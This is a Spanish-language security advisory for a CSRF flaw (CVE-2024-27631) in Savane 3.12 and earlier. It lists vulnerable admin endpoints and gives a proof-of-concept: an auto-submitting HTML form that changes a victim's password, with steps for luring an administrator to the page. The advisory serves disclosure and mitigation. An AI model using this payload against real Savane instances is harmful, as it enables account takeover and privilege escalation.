Detalles de la vulnerabilidad CVE-2024-27631

Resumen

En Savane v3.12 y versiones anteriores, la falta de protección CSRF en las funciones administrativas puede permitir la escalada de privilegios y/o la toma de control de cuentas. En particular, el endpoint /siteadmin/usergroup.php incluye la funcionalidad para cambiar las contraseñas y los indicadores administrativos de otros usuarios, lo que efectivamente permite a un atacante convertirse en administrador.

Otros endpoints notables vulnerables a CSRF incluyen:

• /support/admin/userperms.php - Cambia los permisos de quién puede publicar en un tracker.
• /project/admin/conf-copy.php - Sobrescribe la configuración existente de un grupo con una copia de la de otro.
• /project/admin/editgroupnotifications.php - Edita las notificaciones del grupo. Los elementos privados pueden enviarse a listas de correo públicas.
• /project/admin/useradmin.php - Elimina usuarios de un grupo.
• /news/admin/index.php - Edita la dirección de correo electrónico del tracker de noticias.
• /people/editjob.php - Añade un trabajo para un grupo.

Clasificación CWE: CWE-352: Cross-Site Request Forgery (CSRF)

Reportado por: Ally Petitt

Producto afectado: Savane

Versiones afectadas: 3.12 y anteriores

Pasos de validación

Esta es una prueba de concepto (PoC) para cambiar la contraseña de la cuenta de otro usuario como vía para la toma de control de la cuenta.

1. Seleccione un usuario víctima cuya contraseña se cambiará.
2. Anote su userID desde su página de perfil (/users/<username>).
3. Cree la siguiente página web maliciosa, reemplazando user_id con el ID de usuario de la víctima y <savane_instance> con el nombre de dominio/dirección de host adecuados.

<form id="autosubmit" action="http://<savane_instance>/siteadmin/user_changepw.php" method="POST">

    <input name="form_pw" type="hidden" value="Password1!" />
    <input name="form_pw2" type="hidden" value="Password1!" />
    <input name="user_id" type="hidden" value="<user_id>" />
    <input name="update" type="hidden" value="Update" />
    <input type="submit" value="Submit Request" />
</form>

<script>
document.getElementById("autosubmit").submit();
</script>

4. Aloje la página HTML maliciosa en un servidor web y envíe el enlace a un administrador (debe estar en modo superusuario para que esto funcione).
5. Después de que hagan clic en el enlace, inicie sesión en la cuenta de la víctima con la muy segura contraseña Password1!.

Tenga en cuenta que este script PoC fue probado en Firefox v103.0 (64 bits).

Mitigación

Actualice a la versión 3.13 de Savane o superior. El parche se puede encontrar aquí.